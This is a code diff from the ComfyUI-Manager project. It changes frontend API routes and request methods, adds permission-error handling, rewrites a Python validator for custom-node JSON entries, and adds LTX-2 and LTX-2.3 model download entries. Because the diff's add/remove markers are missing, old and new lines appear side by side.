// Compute errorMsg upfront so the downstream user-visible finalization
// (showRestart / showMessage / infoToast) fires regardless of whether
// any DOM-touching step below throws.
let errorMsg = "";
for(let hash in result){
for (let hash in result) {
let v = result[hash];
if(v != 'success' && v != 'skip')
errorMsg += v+'\n';
if (v != 'success' && v != 'skip') {
errorMsg += v + '\n';
}
}
for(let k in self.install_context.targets) {
let item = self.install_context.targets[k];
self.grid.updateCell(item, "action");
// Defensive: `target` may be a detached DOM node (the in_progress
// handler's updateCell can re-render the row and replace the button
// element). classList.remove on a detached node is a no-op, but we
// still guard in case target was torn down entirely.
try {
if (target && target.classList) {
target.classList.remove("cn-btn-loading");
}
} catch (e) {
console.warn("[ComfyUI-Manager] Failed to clear button loading state:", e);
}
// Defensive: grid.updateCell can throw if the item was removed or the
// grid was re-rendered between in_progress and done. Do NOT let this
// loop abort the completion finalization below — that was the observed
// failure mode for disable/enable (no toast, no "restart required"
// message).
try {
for (let k in targets) {
let item = targets[k];
if (item) {
self.grid.updateCell(item, "action");
}
}
} catch (e) {
console.warn("[ComfyUI-Manager] Failed to refresh target cells after queue completion:", e);
}
if (errorMsg) {
self.showError(errorMsg);
show_message("Installation Error:\n"+errorMsg);
show_message("Installation Error:\n" + errorMsg);
} else {
self.showStatus(`${label} ${result.length} custom node(s) successfully`);
self.showStatus(`${label} ${Object.keys(result).length} custom node(s) successfully`);
}
self.showRestart();
@@ -1767,7 +2401,7 @@ export class CustomNodesManager {
async getMissingNodesLegacy(hashMap, missing_nodes) {
const mode = manager_instance.datasrc_combo.value;
this.showStatus(`Loading missing nodes (${mode}) ...`);
const res = await fetchData(`/v2/customnode/getmappings?mode=${mode}`);
const res = await fetchData(`/customnode/getmappings?mode=${mode}`);
if (res.error) {
this.showError(`Failed to get custom node mappings: ${res.error}`);
return;
@@ -1882,7 +2516,7 @@ export class CustomNodesManager {
async getAlternatives() {
const mode = manager_instance.datasrc_combo.value;
this.showStatus(`Loading alternatives (${mode}) ...`);
const res = await fetchData(`/v2/customnode/alternatives?mode=${mode}`);
const res = await fetchData(`/customnode/alternatives?mode=${mode}`);
if (res.error) {
this.showError(`Failed to get alternatives: ${res.error}`);
return [];
@@ -1930,7 +2564,7 @@ export class CustomNodesManager {
infoToast('Fetching updated information. This may take some time if many custom nodes are installed.');
}
const res = await fetchData(`/v2/customnode/getlist?mode=${mode}${skip_update}`);
const res = await fetchData(`/customnode/getlist?mode=${mode}${skip_update}`);
if (res.error) {
this.showError("Failed to get custom node list.");
this.hideLoading();
@@ -1,9 +1,9 @@
import { app } from "../../scripts/app.js";
import { $el } from "../../scripts/ui.js";
import {
manager_instance, rebootAPI,
import {
manager_instance, rebootAPI,
fetchData, md5, icons, show_message, customAlert, infoToast, showTerminal,
storeColumnWidth, restoreColumnWidth, loadCss, generateUUID
storeColumnWidth, restoreColumnWidth, loadCss, handle403Response
} from "./common.js";
import { api } from "../../scripts/api.js";
@@ -170,7 +170,7 @@ export class ModelManager {
".cmm-manager-stop": {
click: () => {
api.fetchApi('/v2/manager/queue/reset');
api.fetchApi('/manager/queue/reset', { method: 'POST' });
infoToast('Cancel', 'Remaining tasks will stop after completing the current task.');
}
},
@@ -430,15 +430,23 @@ export class ModelManager {
}
async installModels(list, btn) {
let stats = await api.fetchApi('/manager/queue/status');
stats = await stats.json();
if(stats.is_processing) {
customAlert(`[ComfyUI-Manager] There are already tasks in progress. Please try again after it is completed. (${stats.done_count}/${stats.total_count})`);
return;
}
btn.classList.add("cmm-btn-loading");
this.showError("");
let needRefresh = false;
let errorMsg = "";
let target_items = [];
await api.fetchApi('/manager/queue/reset', { method: 'POST' });
let batch = {};
let target_items = [];
for (const item of list) {
this.grid.scrollRowIntoView(item);
@@ -455,12 +463,30 @@ export class ModelManager {
const data = item.originalData;
data.ui_id = item.hash;
const res = await api.fetchApi(`/manager/queue/install_model`, {
method: 'POST',
body: JSON.stringify(data)
});
if(batch['install_model']) {
batch['install_model'].push(data);
}
else {
batch['install_model'] = [data];
if (res.status != 200) {
errorMsg = `'${item.name}': `;
if(res.status == 403) {
try {
const data = await res.json();
if(data.error === 'comfyui_outdated') {
errorMsg += `ComfyUI version is outdated. Please update ComfyUI to use Manager normally.\n`;
} else {
errorMsg += `This action is not allowed with this security level configuration.\n`;
}
} catch {
errorMsg += `This action is not allowed with this security level configuration.\n`;
}
} else {
errorMsg += await res.text() + '\n';
}
break;
}
}
@@ -477,24 +503,7 @@ export class ModelManager {
}
}
else {
this.batch_id = generateUUID();
batch['batch_id'] = this.batch_id;
const res = await api.fetchApi(`/v2/manager/queue/batch`, {
method: 'POST',
body: JSON.stringify(batch)
});
let failed = await res.json();
if(failed.length > 0) {
for(let k in failed) {
let hash = failed[k];
const item = self.grid.getRowItemBy("hash", hash);
errorMsg = `[FAIL] ${item.title}`;
}
}
await api.fetchApi('/manager/queue/start', { method: 'POST' });
this.showStop();
showTerminal();
}
@@ -514,7 +523,7 @@ export class ModelManager {
// self.grid.updateCell(item, "tg-column-select");
self.grid.updateRow(item);
}
else if(event.detail.status == 'batch-done') {
else if(event.detail.status == 'done') {
self.hideStop();
self.onQueueCompleted(event.detail);
}
@@ -640,7 +649,7 @@ export class ModelManager {
const mode = manager_instance.datasrc_combo.value;
const res = await fetchData(`/v2/externalmodel/getlist?mode=${mode}`);
const res = await fetchData(`/externalmodel/getlist?mode=${mode}`);
if (res.error) {
this.showError("Failed to get external model list.");
this.hideLoading();
@@ -142,7 +142,7 @@ function node_info_copy(src, dest, connect_both, copy_shape) {
}
app.registerExtension({
name: "Comfy.Legacy.Manager.NodeFixer",
name: "Comfy.Manager.NodeFixer",
beforeRegisterNodeDef(nodeType, nodeData, app) {
addMenuHandler(nodeType, function (_, options) {
options.push({
@@ -1,7 +1,7 @@
import { app } from "../../scripts/app.js";
import { api } from "../../scripts/api.js"
import { ComfyDialog, $el } from "../../scripts/ui.js";
import { manager_instance, rebootAPI, show_message, loadCss } from "./common.js";
import { manager_instance, rebootAPI, show_message, handle403Response, loadCss } from "./common.js";
import { buildGuiFrame } from "./comfyui-gui-builder.js";
loadCss("./snapshot.css");
@@ -9,10 +9,10 @@ loadCss("./snapshot.css");
async function restore_snapshot(target) {
if(SnapshotManager.instance) {
try {
const response = await api.fetchApi(`/v2/snapshot/restore?target=${target}`, { cache: "no-store" });
const response = await api.fetchApi('/snapshot/restore', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ target: target }), cache: "no-store" });
if(response.status == 403) {
show_message('This action is not allowed with this security level configuration.');
await handle403Response(response);
return false;
}
@@ -37,10 +37,10 @@ async function restore_snapshot(target) {
async function remove_snapshot(target) {
if(SnapshotManager.instance) {
try {
const response = await api.fetchApi(`/v2/snapshot/remove?target=${target}`, { cache: "no-store" });
const response = await api.fetchApi('/snapshot/remove', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ target: target }), cache: "no-store" });
if(response.status == 403) {
show_message('This action is not allowed with this security level configuration.');
await handle403Response(response);
return false;
}
@@ -63,7 +63,7 @@ async function remove_snapshot(target) {
async function save_current_snapshot() {
try {
const response = await api.fetchApi('/v2/snapshot/save', { cache: "no-store" });
const response = await api.fetchApi('/snapshot/save', { method: 'POST', cache: "no-store" });
app.ui.dialog.close();
return true;
}
@@ -78,7 +78,7 @@ async function save_current_snapshot() {
}
async function getSnapshotList() {
const response = await api.fetchApi(`/v2/snapshot/getlist`);
const response = await api.fetchApi(`/snapshot/getlist`);
const data = await response.json();
return data;
}
@@ -158,8 +158,8 @@ export class SnapshotManager extends ComfyDialog {
if(btn_id) {
const rebootButton = document.getElementById(btn_id);
const self = this;
rebootButton.onclick = function() {
if(rebootAPI()) {
rebootButton.onclick = async function() {
if(await rebootAPI()) {
self.close();
self.manager_dialog.close();
}
@@ -38,7 +38,7 @@ class WorkflowMetadataExtension {
* enabled is true if the node is enabled, false if it is disabled
*/
async getInstalledNodes() {
const res = await api.fetchApi("/v2/customnode/installed");
const res = await api.fetchApi("/customnode/installed");
return await res.json();
}
+256 -17
View File
@@ -1,25 +1,264 @@
import json
import argparse
#!/usr/bin/env python3
"""JSON Entry Validator
def check_json_syntax(file_path):
Validates JSON entries based on content structure.
Validation rules based on JSON content:
- {"custom_nodes": [...]}: Validates required fields (author, title, reference, files, install_type, description)
- {"models": [...]}: Validates JSON syntax only (no required fields)
- Other JSON structures: Validates JSON syntax only
Git repository URL validation (for custom_nodes):
1. URLs must NOT end with .git
2. URLs must follow format: https://github.com/{author}/{reponame}
3. .py and .js files are exempt from this check
Supported formats:
- Array format: [{...}, {...}]
- Object format: {"custom_nodes": [...]} or {"models": [...]}
"""
import json
import re
import sys
from pathlib import Path
from typing import Dict, List, Tuple
# Required fields for each entry type
REQUIRED_FIELDS_CUSTOM_NODE = ['author', 'title', 'reference', 'files', 'install_type', 'description']
REQUIRED_FIELDS_MODEL = [] # model-list.json doesn't require field validation
# Pattern for valid GitHub repository URL (without .git suffix)
GITHUB_REPO_PATTERN = re.compile(r'^https://github\.com/[^/]+/[^/]+$')
def get_entry_context(entry: Dict) -> str:
"""Get identifying information from entry for error messages
Args:
entry: JSON entry
Returns:
String with author and reference info
"""
parts = []
if 'author' in entry:
parts.append(f"author={entry['author']}")
if 'reference' in entry:
parts.append(f"ref={entry['reference']}")
if 'title' in entry:
parts.append(f"title={entry['title']}")
if parts:
return " | ".join(parts)
else:
# No identifying info - show actual entry content (truncated)
import json
entry_str = json.dumps(entry, ensure_ascii=False)
if len(entry_str) > 100:
entry_str = entry_str[:100] + "..."
return f"content={entry_str}"
def validate_required_fields(entry: Dict, entry_index: int, required_fields: List[str]) -> List[str]:
"""Validate that all required fields are present
Args:
entry: JSON entry to validate
entry_index: Index of entry in array (for error reporting)
required_fields: List of required field names
Returns:
List of error descriptions (without entry prefix/context)
"""
errors = []
for field in required_fields:
if field not in entry:
errors.append(f"Missing required field '{field}'")
elif entry[field] is None:
errors.append(f"Field '{field}' is null")
elif isinstance(entry[field], str) and not entry[field].strip():
errors.append(f"Field '{field}' is empty")
elif field == 'files' and not entry[field]: # Empty array
errors.append("Field 'files' is empty array")
return errors
def validate_git_repo_urls(entry: Dict, entry_index: int) -> List[str]:
"""Validate git repository URLs in 'files' array
Requirements:
- Git repo URLs must NOT end with .git
- Must follow format: https://github.com/{author}/{reponame}
- .py and .js files are exempt
Args:
entry: JSON entry to validate
entry_index: Index of entry in array (for error reporting)
Returns:
List of error descriptions (without entry prefix/context)
"""
errors = []
if 'files' not in entry or not isinstance(entry['files'], list):
return errors
for file_url in entry['files']:
if not isinstance(file_url, str):
continue
# Skip .py and .js files - they're exempt from git repo validation
if file_url.endswith('.py') or file_url.endswith('.js'):
continue
# Check if it's a GitHub URL (likely a git repo)
if 'github.com' in file_url:
# Error if URL ends with .git
if file_url.endswith('.git'):
errors.append(f"Git repo URL must NOT end with .git: {file_url}")
continue
# Validate format: https://github.com/{author}/{reponame}
if not GITHUB_REPO_PATTERN.match(file_url):
errors.append(f"Invalid git repo URL format (expected https://github.com/author/reponame): {file_url}")
return errors
def validate_entry(entry: Dict, entry_index: int, required_fields: List[str]) -> List[str]:
"""Validate a single JSON entry
Args:
entry: JSON entry to validate
entry_index: Index of entry in array (for error reporting)
required_fields: List of required field names
Returns:
List of error messages (empty if valid)
"""
errors = []
# Check required fields
errors.extend(validate_required_fields(entry, entry_index, required_fields))
# Check git repository URLs
errors.extend(validate_git_repo_urls(entry, entry_index))
return errors
def validate_json_file(file_path: str) -> Tuple[bool, List[str]]:
"""Validate JSON file containing entries
Args:
file_path: Path to JSON file
Returns:
Tuple of (is_valid, error_messages)
"""
errors = []
# Check file exists
path = Path(file_path)
if not path.exists():
return False, [f"File not found: {file_path}"]
# Load JSON
try:
with open(file_path, 'r', encoding='utf-8') as file:
json_str = file.read()
json.loads(json_str)
print(f"[ OK ] {file_path}")
except UnicodeDecodeError as e:
print(f"Unicode decode error: {e}")
with open(path, 'r', encoding='utf-8') as f:
data = json.load(f)
except json.JSONDecodeError as e:
print(f"[FAIL] {file_path}\n\n {e}\n")
except FileNotFoundError:
print(f"[FAIL] {file_path}\n\n File not found\n")
return False, [f"Invalid JSON: {e}"]
except Exception as e:
return False, [f"Error reading file: {e}"]
# Determine required fields based on JSON content
required_fields = []
# Validate structure - support both array and object formats
entries_to_validate = []
if isinstance(data, list):
# Direct array format: [{...}, {...}]
entries_to_validate = data
elif isinstance(data, dict):
# Object format: {"custom_nodes": [...]} or {"models": [...]}
# Determine validation based on keys
if 'custom_nodes' in data and isinstance(data['custom_nodes'], list):
required_fields = REQUIRED_FIELDS_CUSTOM_NODE
entries_to_validate = data['custom_nodes']
elif 'models' in data and isinstance(data['models'], list):
required_fields = REQUIRED_FIELDS_MODEL
entries_to_validate = data['models']
else:
# Other JSON structures (extension-node-map.json, etc.) - just validate JSON syntax
return True, []
else:
return False, ["JSON root must be either an array or an object containing arrays"]
# Validate each entry
for idx, entry in enumerate(entries_to_validate, start=1):
if not isinstance(entry, dict):
# Show actual value for type errors
entry_str = json.dumps(entry, ensure_ascii=False) if not isinstance(entry, str) else repr(entry)
if len(entry_str) > 150:
entry_str = entry_str[:150] + "..."
errors.append(f"\n❌ Entry #{idx}: Must be an object, got {type(entry).__name__}")
errors.append(f" Actual value: {entry_str}")
continue
entry_errors = validate_entry(entry, idx, required_fields)
if entry_errors:
# Group errors by entry with context
context = get_entry_context(entry)
errors.append(f"\n❌ Entry #{idx} ({context}):")
for error in entry_errors:
errors.append(f" - {error}")
is_valid = len(errors) == 0
return is_valid, errors
def main():
parser = argparse.ArgumentParser(description="JSON File Syntax Checker")
parser.add_argument("file_path", type=str, help="Path to the JSON file for syntax checking")
"""Main entry point"""
if len(sys.argv) < 2:
print("Usage: python json-checker.py <json-file>")
print("\nValidates JSON entries based on content:")
print(" - {\"custom_nodes\": [...]}: Validates required fields (author, title, reference, files, install_type, description)")
print(" - {\"models\": [...]}: Validates JSON syntax only (no required fields)")
print(" - Other JSON structures: Validates JSON syntax only")
print("\nGit repo URL validation (for custom_nodes):")
print(" - URLs must NOT end with .git")
print(" - URLs must follow: https://github.com/{author}/{reponame}")
sys.exit(1)
args = parser.parse_args()
check_json_syntax(args.file_path)
file_path = sys.argv[1]
if __name__ == "__main__":
is_valid, errors = validate_json_file(file_path)
if is_valid:
print(f"{file_path}: Validation passed")
sys.exit(0)
else:
print(f"Validating: {file_path}")
print("=" * 60)
print("❌ Validation failed!\n")
print("Errors:")
# Count actual errors (lines starting with " -")
error_count = sum(1 for e in errors if e.strip().startswith('-'))
for error in errors:
# Don't add ❌ prefix to grouped entries (they already have it)
if error.strip().startswith(''):
print(error)
else:
print(error)
print(f"\nTotal errors: {error_count}")
sys.exit(1)
if __name__ == '__main__':
main()
@@ -5180,6 +5180,325 @@
"size": "25.75GB"
},
{
"name": "LTX-2 19B Dev FP8",
"type": "checkpoint",
"base": "LTX-2",
"save_path": "checkpoints/LTX-2",
"description": "LTX-2 19B Dev FP8 model.",
"reference": "https://huggingface.co/Lightricks/LTX-2",
"filename": "ltx-2-19b-dev-fp8.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2/resolve/main/ltx-2-19b-dev-fp8.safetensors",
"size": "27.1GB"
},
{
"name": "LTX-2 19B Distilled FP8",
"type": "checkpoint",
"base": "LTX-2",
"save_path": "checkpoints/LTX-2",
"description": "LTX-2 19B Distilled FP8 model.",
"reference": "https://huggingface.co/Lightricks/LTX-2",
"filename": "ltx-2-19b-distilled-fp8.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2/resolve/main/ltx-2-19b-distilled-fp8.safetensors",
"size": "27.1GB"
},
{
"name": "LTX-2 19B Dev",
"type": "checkpoint",
"base": "LTX-2",
"save_path": "checkpoints/LTX-2",
"description": "LTX-2 19B Dev model.",
"reference": "https://huggingface.co/Lightricks/LTX-2",
"filename": "ltx-2-19b-dev.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2/resolve/main/ltx-2-19b-dev.safetensors",
"size": "43.3GB"
},
{
"name": "LTX-2 19B Distilled",
"type": "checkpoint",
"base": "LTX-2",
"save_path": "checkpoints/LTX-2",
"description": "LTX-2 19B Distilled model.",
"reference": "https://huggingface.co/Lightricks/LTX-2",
"filename": "ltx-2-19b-distilled.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2/resolve/main/ltx-2-19b-distilled.safetensors",
"size": "43.3GB"
},
{
"name": "LTX-2 Spatial Upscaler",
"type": "upscale",
"base": "upscale",
"save_path": "default",
"description": "Spatial upscaler model for LTX-2. This model enhances the spatial resolution of generated videos.",
"reference": "https://huggingface.co/Lightricks/LTX-2",
"filename": "ltx-2-spatial-upscaler-x2-1.0.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2/resolve/main/ltx-2-spatial-upscaler-x2-1.0.safetensors",
"size": "996MB"
},
{
"name": "LTX-2 Temporal Upscaler",
"type": "upscale",
"base": "upscale",
"save_path": "default",
"description": "Temporal upscaler model for LTX-2. This model enhances the temporal resolution of generated videos.",
"reference": "https://huggingface.co/Lightricks/LTX-2",
"filename": "ltx-2-temporal-upscaler-x2-1.0.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2/resolve/main/ltx-2-temporal-upscaler-x2-1.0.safetensors",
"size": "262MB"
},
{
"name": "LTX-2 19B Distilled LoRA",
"type": "lora",
"base": "LTX-2",
"save_path": "loras",
"description": "A LoRA adapter that transforms the standard LTX-2 19B model into a distilled version when loaded.",
"reference": "https://huggingface.co/Lightricks/LTX-2",
"filename": "ltx-2-19b-distilled-lora-384.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2/resolve/main/ltx-2-19b-distilled-lora-384.safetensors",
"size": "7.67GB"
},
{
"name": "LTX-2 19B IC LoRA - Canny Control",
"type": "lora",
"base": "LTX-2",
"save_path": "loras/LTX-2",
"description": "LoRA for canny control on LTX-2 19B IC model. Intended for advanced edge control and guided generation.",
"reference": "https://huggingface.co/Lightricks/LTX-2-19b-IC-LoRA-Canny-Control",
"filename": "ltx-2-19b-ic-lora-canny-control.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2-19b-IC-LoRA-Canny-Control/resolve/main/ltx-2-19b-ic-lora-canny-control.safetensors",
"size": "654MB"
},
{
"name": "LTX-2 19B IC LoRA - Depth Control",
"type": "lora",
"base": "LTX-2",
"save_path": "loras/LTX-2",
"description": "LoRA for depth control on LTX-2 19B IC model. Adds depth-aware generation guidance.",
"reference": "https://huggingface.co/Lightricks/LTX-2-19b-IC-LoRA-Depth-Control",
"filename": "ltx-2-19b-ic-lora-depth-control.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2-19b-IC-LoRA-Depth-Control/resolve/main/ltx-2-19b-ic-lora-depth-control.safetensors",
"size": "654MB"
},
{
"name": "LTX-2 19B IC LoRA - Detailer",
"type": "lora",
"base": "LTX-2",
"save_path": "loras/LTX-2",
"description": "LoRA detailer for LTX-2 19B IC. Improves fine details and sharpness in generated outputs.",
"reference": "https://huggingface.co/Lightricks/LTX-2-19b-IC-LoRA-Detailer",
"filename": "ltx-2-19b-ic-lora-detailer.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2-19b-IC-LoRA-Detailer/resolve/main/ltx-2-19b-ic-lora-detailer.safetensors",
"size": "2.62GB"
},
{
"name": "LTX-2 19B IC LoRA - Pose Control",
"type": "lora",
"base": "LTX-2",
"save_path": "loras/LTX-2",
"description": "LoRA for pose control on LTX-2 19B IC model. Enables pose-guided image/video generation.",
"reference": "https://huggingface.co/Lightricks/LTX-2-19b-IC-LoRA-Pose-Control",
"filename": "ltx-2-19b-ic-lora-pose-control.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2-19b-IC-LoRA-Pose-Control/resolve/main/ltx-2-19b-ic-lora-pose-control.safetensors",
"size": "654MB"
},
{
"name": "LTX-2 19B LoRA - Camera Control Dolly In",
"type": "lora",
"base": "LTX-2",
"save_path": "loras/LTX-2",
"description": "LoRA for dolly-in camera control with LTX-2 19B. Simulates camera moving closer to subject.",
"reference": "https://huggingface.co/Lightricks/LTX-2-19b-LoRA-Camera-Control-Dolly-In",
"filename": "ltx-2-19b-lora-camera-control-dolly-in.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2-19b-LoRA-Camera-Control-Dolly-In/resolve/main/ltx-2-19b-lora-camera-control-dolly-in.safetensors",
"size": "327MB"
},
{
"name": "LTX-2 19B LoRA - Camera Control Dolly Left",
"type": "lora",
"base": "LTX-2",
"save_path": "loras/LTX-2",
"description": "LoRA for dolly-left camera control with LTX-2 19B. Simulates camera moving left.",
"reference": "https://huggingface.co/Lightricks/LTX-2-19b-LoRA-Camera-Control-Dolly-Left",
"filename": "ltx-2-19b-lora-camera-control-dolly-left.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2-19b-LoRA-Camera-Control-Dolly-Left/resolve/main/ltx-2-19b-lora-camera-control-dolly-left.safetensors",
"size": "327MB"
},
{
"name": "LTX-2 19B LoRA - Camera Control Dolly Out",
"type": "lora",
"base": "LTX-2",
"save_path": "loras/LTX-2",
"description": "LoRA for dolly-out camera control with LTX-2 19B. Simulates camera moving away from subject.",
"reference": "https://huggingface.co/Lightricks/LTX-2-19b-LoRA-Camera-Control-Dolly-Out",
"filename": "ltx-2-19b-lora-camera-control-dolly-out.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2-19b-LoRA-Camera-Control-Dolly-Out/resolve/main/ltx-2-19b-lora-camera-control-dolly-out.safetensors",
"size": "327MB"
},
{
"name": "LTX-2 19B LoRA - Camera Control Dolly Right",
"type": "lora",
"base": "LTX-2",
"save_path": "loras/LTX-2",
"description": "LoRA for dolly-right camera control with LTX-2 19B. Simulates camera moving right.",
"reference": "https://huggingface.co/Lightricks/LTX-2-19b-LoRA-Camera-Control-Dolly-Right",
"filename": "ltx-2-19b-lora-camera-control-dolly-right.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2-19b-LoRA-Camera-Control-Dolly-Right/resolve/main/ltx-2-19b-lora-camera-control-dolly-right.safetensors",
"size": "327MB"
},
{
"name": "LTX-2 19B LoRA - Camera Control Jib Down",
"type": "lora",
"base": "LTX-2",
"save_path": "loras/LTX-2",
"description": "LoRA for jib-down camera control with LTX-2 19B. Simulates vertical camera movement downwards.",
"reference": "https://huggingface.co/Lightricks/LTX-2-19b-LoRA-Camera-Control-Jib-Down",
"filename": "ltx-2-19b-lora-camera-control-jib-down.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2-19b-LoRA-Camera-Control-Jib-Down/resolve/main/ltx-2-19b-lora-camera-control-jib-down.safetensors",
"size": "2.21GB"
},
{
"name": "LTX-2 19B LoRA - Camera Control Jib Up",
"type": "lora",
"base": "LTX-2",
"save_path": "loras/LTX-2",
"description": "LoRA for jib-up camera control with LTX-2 19B. Simulates vertical camera movement upwards.",
"reference": "https://huggingface.co/Lightricks/LTX-2-19b-LoRA-Camera-Control-Jib-Up",
"filename": "ltx-2-19b-lora-camera-control-jib-up.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2-19b-LoRA-Camera-Control-Jib-Up/resolve/main/ltx-2-19b-lora-camera-control-jib-up.safetensors",
"size": "2.21GB"
},
{
"name": "LTX-2 19B LoRA - Camera Control Static",
"type": "lora",
"base": "LTX-2",
"save_path": "loras/LTX-2",
"description": "LoRA for static camera control with LTX-2 19B. Simulates stationary/static camera view.",
"reference": "https://huggingface.co/Lightricks/LTX-2-19b-LoRA-Camera-Control-Static",
"filename": "ltx-2-19b-lora-camera-control-static.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2-19b-LoRA-Camera-Control-Static/resolve/main/ltx-2-19b-lora-camera-control-static.safetensors",
"size": "2.21GB"
},
{
"name": "LTX-2.3 22B Dev",
"type": "checkpoint",
"base": "LTX-2.3",
"save_path": "checkpoints/LTX-2.3",
"description": "LTX-2.3 22B development model.",
"reference": "https://huggingface.co/Lightricks/LTX-2.3",
"filename": "ltx-2.3-22b-dev.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2.3/resolve/main/ltx-2.3-22b-dev.safetensors",
"size": "42.98GB"
},
{
"name": "LTX-2.3 22B Distilled 1.1",
"type": "checkpoint",
"base": "LTX-2.3",
"save_path": "checkpoints/LTX-2.3",
"description": "LTX-2.3 22B distilled model v1.1.",
"reference": "https://huggingface.co/Lightricks/LTX-2.3",
"filename": "ltx-2.3-22b-distilled-1.1.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2.3/resolve/main/ltx-2.3-22b-distilled-1.1.safetensors",
"size": "42.98GB"
},
{
"name": "LTX-2.3 22B Dev FP8",
"type": "checkpoint",
"base": "LTX-2.3",
"save_path": "checkpoints/LTX-2.3",
"description": "LTX-2.3 22B Dev FP8 model.",
"reference": "https://huggingface.co/Lightricks/LTX-2.3-fp8",
"filename": "ltx-2.3-22b-dev-fp8.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2.3-fp8/resolve/main/ltx-2.3-22b-dev-fp8.safetensors",
"size": "27.14GB"
},
{
"name": "LTX-2.3 22B Distilled FP8",
"type": "checkpoint",
"base": "LTX-2.3",
"save_path": "checkpoints/LTX-2.3",
"description": "LTX-2.3 22B Distilled FP8 model.",
"reference": "https://huggingface.co/Lightricks/LTX-2.3-fp8",
"filename": "ltx-2.3-22b-distilled-fp8.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2.3-fp8/resolve/main/ltx-2.3-22b-distilled-fp8.safetensors",
"size": "27.50GB"
},
{
"name": "LTX-2.3 22B Dev NVFP4",
"type": "checkpoint",
"base": "LTX-2.3",
"save_path": "checkpoints/LTX-2.3",
"description": "LTX-2.3 22B Dev NVFP4 model.",
"reference": "https://huggingface.co/Lightricks/LTX-2.3-nvfp4",
"filename": "ltx-2.3-22b-dev-nvfp4.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2.3-nvfp4/resolve/main/ltx-2.3-22b-dev-nvfp4.safetensors",
"size": "20.21GB"
},
{
"name": "LTX-2.3 22B Distilled LoRA 1.1",
"type": "lora",
"base": "LTX-2.3",
"save_path": "loras/ltxv/ltx2",
"description": "A LoRA adapter that transforms the standard LTX-2.3 22B model into a distilled version when loaded.",
"reference": "https://huggingface.co/Lightricks/LTX-2.3",
"filename": "ltx-2.3-22b-distilled-lora-384-1.1.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2.3/resolve/main/ltx-2.3-22b-distilled-lora-384-1.1.safetensors",
"size": "7.08GB"
},
{
"name": "LTX-2.3 22B IC-LoRA Union Control",
"type": "lora",
"base": "LTX-2.3",
"save_path": "loras/ltxv/ltx2",
"description": "In-Context LoRA (IC LoRA) for unified multi-condition control (canny, depth, pose) guided video generation.",
"reference": "https://huggingface.co/Lightricks/LTX-2.3-22b-IC-LoRA-Union-Control",
"filename": "ltx-2.3-22b-ic-lora-union-control-ref0.5.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2.3-22b-IC-LoRA-Union-Control/resolve/main/ltx-2.3-22b-ic-lora-union-control-ref0.5.safetensors",
"size": "0.61GB"
},
{
"name": "LTX-2.3 22B IC-LoRA Motion Track Control",
"type": "lora",
"base": "LTX-2.3",
"save_path": "loras/ltxv/ltx2",
"description": "In-Context LoRA (IC LoRA) for motion track guided video generation.",
"reference": "https://huggingface.co/Lightricks/LTX-2.3-22b-IC-LoRA-Motion-Track-Control",
"filename": "ltx-2.3-22b-ic-lora-motion-track-control-ref0.5.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2.3-22b-IC-LoRA-Motion-Track-Control/resolve/main/ltx-2.3-22b-ic-lora-motion-track-control-ref0.5.safetensors",
"size": "0.30GB"
},
{
"name": "LTX-2.3 Spatial Upscaler x2 1.1",
"type": "upscale",
"base": "upscale",
"save_path": "latent_upscale_models",
"description": "Spatial upscaler model for LTX-2.3. This model enhances the spatial resolution of generated videos by 2x.",
"reference": "https://huggingface.co/Lightricks/LTX-2.3",
"filename": "ltx-2.3-spatial-upscaler-x2-1.1.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2.3/resolve/main/ltx-2.3-spatial-upscaler-x2-1.1.safetensors",
"size": "0.93GB"
},
{
"name": "LTX-2.3 Spatial Upscaler x1.5",
"type": "upscale",
"base": "upscale",
"save_path": "latent_upscale_models",
"description": "Spatial upscaler model for LTX-2.3. This model enhances the spatial resolution of generated videos by 1.5x.",
"reference": "https://huggingface.co/Lightricks/LTX-2.3",
"filename": "ltx-2.3-spatial-upscaler-x1.5-1.0.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2.3/resolve/main/ltx-2.3-spatial-upscaler-x1.5-1.0.safetensors",
"size": "1.02GB"
},
{
"name": "LTX-2.3 Temporal Upscaler x2",
"type": "upscale",
"base": "upscale",
"save_path": "latent_upscale_models",
"description": "Temporal upscaler model for LTX-2.3. This model enhances the temporal resolution of generated videos.",
"reference": "https://huggingface.co/Lightricks/LTX-2.3",
"filename": "ltx-2.3-temporal-upscaler-x2-1.0.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2.3/resolve/main/ltx-2.3-temporal-upscaler-x2-1.0.safetensors",
"size": "0.24GB"
},
{
"name": "LTX-Video Spatial Upscaler v0.9.7",
"type": "upscale",
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+2951 -1516
View File
File diff suppressed because it is too large Load Diff
+10
View File
@@ -1,5 +1,15 @@
{
"custom_nodes": [
{
"author": "Fossiel",
"title": "ComfyUI-MultiGPU-Patched",
"reference": "https://github.com/Fossiel/ComfyUI-MultiGPU-Patched",
"files": [
"https://github.com/Fossiel/ComfyUI-MultiGPU-Patched"
],
"install_type": "git-clone",
